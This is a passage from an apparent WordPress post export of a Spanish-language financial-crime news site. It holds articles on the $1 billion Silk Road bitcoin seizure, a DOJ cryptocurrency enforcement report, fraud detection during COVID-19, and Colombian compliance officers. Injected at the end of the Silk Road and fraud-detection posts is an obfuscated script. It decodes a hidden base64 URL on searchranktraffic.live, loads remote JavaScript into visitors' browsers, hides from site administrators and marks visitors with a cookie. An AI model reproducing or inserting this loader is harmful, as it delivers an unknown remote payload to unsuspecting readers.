srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura 